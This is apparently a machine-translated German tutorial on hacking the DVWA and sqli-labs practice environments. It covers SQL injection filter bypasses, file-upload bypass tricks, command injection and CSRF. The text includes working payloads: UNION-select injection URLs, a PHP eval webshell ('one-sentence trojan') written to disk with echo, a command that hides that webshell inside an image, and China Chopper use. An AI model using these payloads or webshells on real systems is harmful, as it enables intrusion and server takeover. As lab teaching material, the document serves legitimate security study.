Sollte dieser Artikel Fehler enthalten oder du Anregungen haben, kannst du dich gerne bei mir melden, danke! 1. Programmierer richten beim Schreiben von Code bewusst Abwehrmaßnahmen ein oder führen Sicherheitstests durch, um Web-Injections zu blockieren. Blacklist-Filtertechnologie 1. Filtern Sie allgemeine Schlüsselwörter in SQL-Schlüsselfeldern: „and“, „or“, „union all select“, „Anführungszeichen“, „Leerzeichen“ usw. Es gibt auch einige ähnliche Techniken, die nicht filtern, sondern Escape-Funktionen verwenden oder ungültige Schlüsselwörter entfernen. Bypass-Methode:
2. Sicherheitslücke beim Datei-Upload Wenn wir im Internet surfen, verwenden wir häufig die Funktion zum Hochladen von Dateien, z. B. zum Hochladen eines Avatarbilds, Hochladen einer Datei, Hochladen eines Videos usw. Ich weiß, dass dies eine normale Funktion ist, aber haben Sie jemals darüber nachgedacht, wie der Server diese Dateien nach dem Hochladen verarbeitet oder analysiert? Wenn der Server bei der Verarbeitung dieser hochgeladenen Dateien nicht sicher genug ist, führt dies zu Sicherheitsvorfällen, z. B.: Hochladen einer Webskriptdatei zur Ausführung durch den Server
Kernschwachstelle beim Hochladen von Dateien Damit ein Datei-Upload-Angriff erfolgreich ist, müssen im Allgemeinen zwei Elemente erfüllt sein:
Implementierung des Kerns - Upload-Bypass-Technologie Im Allgemeinen treten beim Hochladen von Dateien folgende Erkennungstechniken auf:
Umgehung der clientseitigen Erkennung (Javascript-Erkennung) Diese Art der Erkennung enthält normalerweise Javascript-Code auf der Upload-Seite, der speziell Datei-Uploads erkennt. Am häufigsten wird erkannt, ob die Erweiterung zulässig ist. Diese Art der Umgehung ist sehr einfach. Umgehung der serverseitigen Erkennung (MIME-Typ-Erkennung) Diese Erkennung wird auf dem Server durchgeführt und die Hauptprüfung ist der Inhaltstypwert (Whitelist oder Blacklist). Natürlich ist auch dieser Bypass einfach. Umgehung der Servererkennung (Erkennung des Verzeichnispfads) Diese Erkennung wird auf dem Server durchgeführt und prüft im Allgemeinen, ob der Pfad zulässig ist. Bei leicht speziellen Pfaden besteht jedoch keine Abwehrmöglichkeit. Beispiel: shell.php.[\0].png [\0], 123.php0x00.png, wobei 0x00 das Trunkierungszeichen der Sprachen PHP und C ist. Dies bedeutet, dass der Server, wenn er die Datei liest und beim Lesen von shell.php auf [\0] stößt, die Datei beendet und als shell.php ausführt. Es gibt auch eine ähnliche Post-Submission-Datei shell.php%00.png Umgehung der serverseitigen Erkennung (Erkennung von Dateierweiterungen) Wie der Name schon sagt, prüft es die Dateierweiterung, normalerweise durch Whitelist- und Blacklist-Schutz. 1. Blacklist, die Erweiterung darf beispielsweise nicht html, php, php3, php4, asp, exe, bat, jsp + Groß-/Kleinschreibung des Dateinamens enthalten. Verwenden Sie Dateinamen wie AsP, pHp, um die Blacklist-Erkennung zu umgehen.
2. Die Whitelist ist relativ sicherer als die Blacklist, aber nicht unbedingt absolut sicher. (1) 0x00 Trunkierungs-Bypass Verwenden Sie die Methode test.asp%00.jpg, um die Whitelist-Datei abzuschneiden, und verwenden Sie dann die Erkennungslogik-Schwachstelle des Servercodes zum Angriff. Derzeit bin ich dieser Schwachstelle nur in ASP-Programmen + Parsing Call/Schwachstellen-Bypass begegnet. Diese Art von Schwachstelle kann direkt mit einer Whitelist-Datei mit Code-Injektion hochgeladen werden und dann den Parsing Call/die Schwachstelle verwenden (2) .htaccess-Datei-Angriff Im PHP-Handbuch wird im Abschnitt move_uploaded_file erwähnt, dass es eine Warnung gibt, die besagt: „Wenn die Zieldatei bereits existiert, wird sie überschrieben.“ Wenn die PHP-Sicherheit nicht richtig konfiguriert ist, können Sie die Funktion move_uploaded_file verwenden, um die .htaccess-Datei auf dem Server mit Ihrer eigenen Datei zu überschreiben. Auf diese Weise können Sie die Parsing-Liste beliebig definieren. Umgehung der serverseitigen Erkennung (Erkennung von Dateiinhalten) Wenn die Dateiinhaltserkennung strenger eingestellt ist, wird der Upload-Angriff sehr schwierig. Man kann auch sagen, dass es sich um die letzte Erkennungsebene auf der Codeebene handelt. Wenn sie beschädigt ist, bietet dies, selbst wenn es keine Schwachstelle auf der Codeebene gibt, später die Möglichkeit, die Parsing-Schwachstelle auf der Anwendungsebene auszunutzen. (1) Die Prüfung auf die magische Dateinummer erkennt hauptsächlich die magische Dateinummer am Anfang des Dateiinhalts, zum Beispiel: to bypass jpg Wert = FF D8 FF E0 00 10 4A 46 49 46. Umgehen der Magic Number-Erkennung für GIF-Dateien Wert = 47 49 46 38 39 61 Umgehen der Magic Number-Erkennung für PNG-Dateien Wert = 89 50 4E 47 (2) Erkennung dateibezogener Informationen Die Funktion getimagesize() wird häufig verwendet, um Informationen zu Bilddateien zu erkennen. Sie müssen nur den Dateikopfteil fälschen. Das heißt, auf der Grundlage der magischen Zahl werden einige Dateiinformationen hinzugefügt. Es ähnelt in etwa der folgenden Struktur GIF89a (...einige Binärdaten für das Bild...) <?php phpinfo(); ?> (... den Rest der Binärdaten überspringen ...) (3) Erkennung des Dateiladens Dies ist die ungewöhnlichste Erkennung. Im Allgemeinen wird eine API oder Funktion aufgerufen, um einen Dateiladetest durchzuführen. Am häufigsten wird ein Bildwiedergabetest durchgeführt. Die ungewöhnlichste Erkennung führt sogar ein sekundäres Rendering durch. Die Angriffsmethode für den Rendering-/Ladetest ist die Umgehung der Codeeinschleusung. Die Angriffsmethode für das sekundäre Rendering besteht darin, den Dateilader selbst anzugreifen. drei, 1. (1) Kopieren Sie die entsprechende URL unten, klicken Sie auf URL laden und dann auf Ausführen (2) Erstellen Sie einen Abschluss und erhalten Sie den Datenbanknamen – dvwa. Folgen Sie dann der vorherigen Routine und stellen Sie fest, dass das System einen Fehler meldet. Die Fehlermeldung lautet wie folgt Das System fügt automatisch das Symbol \ hinzu, was bedeutet, dass in der erstellten Funktion ein Fehler auftritt. Wir sollten dieses Phänomen vermeiden, damit das System dem Konstruktor nicht automatisch Sonderzeichen hinzufügt. In diesem Fall können Sie Hex-Code verwenden, um die Zeichenfolge dvwa in Hexadezimalzahlen (in 0x...) umzuwandeln, sodass das einfache Anführungszeichen im Konstruktor nicht verwendet wird. Zu diesem Zeitpunkt fügt das System dem Konstruktor nicht mehr automatisch Sonderzeichen hinzu, wodurch der Konstruktor zerstört wird. (3) Verwenden Sie in ähnlicher Weise die zuvor verwendete SQL-Anweisung, um die Daten zu extrahieren. 2. Nehmen Sie Less-25 als Beispiel (1) http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+ //Closure entsprechend dem Echo konstruieren und database() ausgeben (2) http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name and table_schema = database()--+ //Tabellennamen table_name, Spaltennamen column_name offenlegen (3) http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+ //Blast data Zusammenfassung: Zuerst konstruieren wir kontinuierlich geschlossene Eingaben und beobachten das Echo. Wir stellen fest, dass das System die Zeichenfolge „und“ und „+“ (+ entspricht der Leertaste) filtert. Dann können wir vermutlich „und“ in gemischter Groß- und Kleinschreibung verwenden oder „und“ mit Zeilensprung und Unterbrechung oder andere Zeichen statt „und“ verwenden, etwa && (der Hauptzweck ist die Verwendung von „und“) oder Hexadezimalcode- oder URL-Code-Konvertierungsmethoden verwenden. Ebenso kann für die Zeichenfolge „oder“ oder „oder“, die in einem Wort (wie etwa „Information“) vorkommt, die obige Methode verwendet werden. Der Schlüssel liegt darin, die Filterung des Systems zu umgehen und ein bestimmtes Ziel zu erreichen 3. Nehmen Sie Less-26 als Beispiel Das Zeichen „and“ entspricht Less-25. Die herauszufilternden Leerzeichen können %20 -- Leerzeichen oder die Kodierung der TAB-Taste oder die Kodierung der Newline-Taste sein. 4. Nehmen Sie http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/ als Beispiel. Die Schnittstelle ist wie folgt. Es ist eine pingbare Schnittstelle. In dieser Schnittstelle gibt es eine Schwachstelle, die dazu führt, dass Sie während des Pings das Verbindungssymbol verwenden können, um andere Aktionen auszuführen. Wenn Sie 127.0.0.1 || pwd in die Eingabeleiste eingeben, tritt die folgende Situation auf Das aktuelle Dateiverzeichnis wird in der Benutzeroberfläche angezeigt. Anschließend können wir diese Sicherheitslücke nutzen, um die gewünschten Daten abzurufen. Hier erwähnen wir den „One Sentence Trojan“ echo '<?php @eval($_POST[123]);?>' > 123.php [Um zu verhindern, dass das Opfer es entdeckt, werden manchmal andere Satzformen zusammen mit dem „Ein-Satz-Trojaner“ verwendet. <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php 4. Kombination von Dateieinbindung und Dateiupload zur Implementierung eines Angriffs (1) Wählen Sie unter http://192.168.122.130/DVWA-1.9/security.php die Option „Niedrig“ für die DVWA-Sicherheit aus. Verwenden Sie Chinese Chopper, um den folgenden Code hinzuzufügen: echo '<?php @eval($_POST[123]);?>' > 123.php Anschließend können Sie das Verzeichnis über China Chopper wie folgt abrufen: (2) Wählen Sie DVWA-Sicherheit als Mittel unter http://192.168.122.130/DVWA-1.9/security.php Browser-Proxy manuell einrichten Starten Sie BurpLoader und benennen Sie die erfassten Pakete um! Wählen Sie dann Aktion->An Repeater senden und klicken Sie dann auf Gehe zu Repeater. Beobachten Sie das Fenster auf der rechten Seite und Sie werden sehen, dass die Datei hochgeladen wurde. Öffnen Sie China Chopper und greifen Sie gemäß den vorherigen Schritten darauf zu. (3) Wählen Sie unter http://192.168.122.130/DVWA-1.9/security.php die Option „Hoch“ für die DVWA-Sicherheit aus. Wenn Sie zunächst sehen, dass das Bild hochgeladen wurde, muss das hochgeladene Bild verarbeitet worden sein (ein Satz-Trojaner wurde hinzugefügt). Öffnen Sie dazu das Bildcodierungstool Winhex, fügen Sie dem Codierungstool einen Satz-Trojaner hinzu und generieren Sie ein neues codiertes Bild. Natürlich können Sie auch den cmd-Befehl verwenden: copy 1.png/b+123.php /a TCP.png. Dabei ist 1.png ein normales Bild und 123.php ein Satz-Trojaner. Setzen Sie sie zu einem neuen Bild mit dem Namen TCP.png zusammen und laden Sie es dann hoch, damit es erfolgreich ist (oben wird cmd verwendet). Nachdem das Bild hochgeladen wurde, kann es nicht mehr wie die mittlere Ebene erfasst und umbenannt werden. Auf der Webserverseite sollte eine entsprechende Sicherheitsverarbeitung erfolgen. 5. Ideen zum Umgang mit einigen abnormalen Werten: Vergleichen Sie, beobachten Sie, was sich vor und nach dem Hochladen nicht geändert hat (durch binäre Anomalien), und nehmen Sie dann bestimmte Änderungen an den hochgeladenen Daten vor, um einen bestimmten Zweck zu erreichen.
6. CSRF: Cross Site Request Forgery (unter Verwendung von Cookie-Werten) Erstellen Sie eine URL, um das Opfer dazu zu verleiten, auf den Link zu klicken, und verwenden Sie dann die Cookies des Opfers, um es dem Opfer zu ermöglichen, das Passwort ohne sein Wissen zu ändern. http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change# Beispiel: Ein Hacker verwendet beispielsweise sein eigenes Kontokennwort, um sich bei einer Website anzumelden, klickt dann auf die Kennwortänderungsschnittstelle und erstellt eine URL zum Ändern des Kennworts. Wenn der Hacker einen Angriff starten möchte, veranlasst er ein Opfer (das sich zuvor über einen Browser bei der Website angemeldet hat und Cookies im Browser gespeichert hat), auf die zuvor erstellte URL zu klicken, und ändert dann das Kennwort ohne das Wissen des Opfers. Der Hacker kennt dieses Kennwort. Wenn der Angriff zu diesem Zeitpunkt erfolgreich ist, kann der Hacker das beim Erstellen der URL erstellte Kennwort verwenden, um sich als Opfer bei der Website anzumelden und eine Reihe von Vorgängen auszuführen! Einige aktuelle Verteidigungen: 1. Sie können den Bestätigungscode zur Verteidigung verwenden 2. Websites, die zur Änderung des Passworts das ursprüngliche Passwort erfordern 3. Abwehrmethode: Kein Referrer beim Downgrade Beim Verlinken von einer Website zu einer anderen wird eine neue HTTP-Anfrage generiert. Referrer ist ein Feld in der HTTP-Anfrage, das die Quelle angibt. 4. Der Token-Fälschungsschutzmechanismus kann im Gegensatz zu Cookies die meisten CSRF-Angriffe blockieren (jeder hat einen Fälschungsschutzcode, den andere nicht erraten können. Wenn Sie Ihr Passwort ändern möchten, müssen Sie dazu Ihren eigenen Token verwenden) – der Token muss unregelmäßig und vorzugsweise verschlüsselt sein. Oben finden Sie die detaillierte SQL-Injection-Sicherheitsintegration, die vom Herausgeber vorgestellt wurde. Ich hoffe, sie ist für alle hilfreich. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht und der Herausgeber wird Ihnen rechtzeitig antworten. Ich möchte auch allen für ihre Unterstützung der Website 123WORDPRESS.COM danken! Das könnte Sie auch interessieren:
|
<<: Einfache Schritte zum Schreiben benutzerdefinierter Anweisungen in Vue3.0
>>: Tutorial zum Upgrade von Centos7 auf Centos8 (mit Bildern und Text)
Wir diskutieren hier nicht über PHP-, JSP- oder ....
Inhaltsverzeichnis Virtueller DOM Was ist virtuel...
Inhaltsverzeichnis 1. Subunternehmer für Miniprog...
Inhaltsverzeichnis Kurze Umfrage Langfristige Abf...
Kürzlich hat Microsoft Windows Server 2016 veröff...
Während Ubuntu heute das beliebteste Linux-Betrie...
Frontend css3.filter kann nicht nur den Graueffek...
Umgebung: (Docker, K8s-Cluster), fahren Sie mit d...
Dieser Artikel stellt ein interessantes Pseudoele...
Inhaltsverzeichnis 1. Projektbeschreibung: 2. Pro...
Inhaltsverzeichnis Vorwort 1. Installieren Sie sc...
In diesem Artikel wird der spezifische Code für J...
Zunächst einmal: Was ist 404 und Soft 404? 404: Ei...
Inhaltsverzeichnis 1. Passen Sie das Netzwerk an,...
Ich glaube, jeder Mensch ist sehr sensibel für Fa...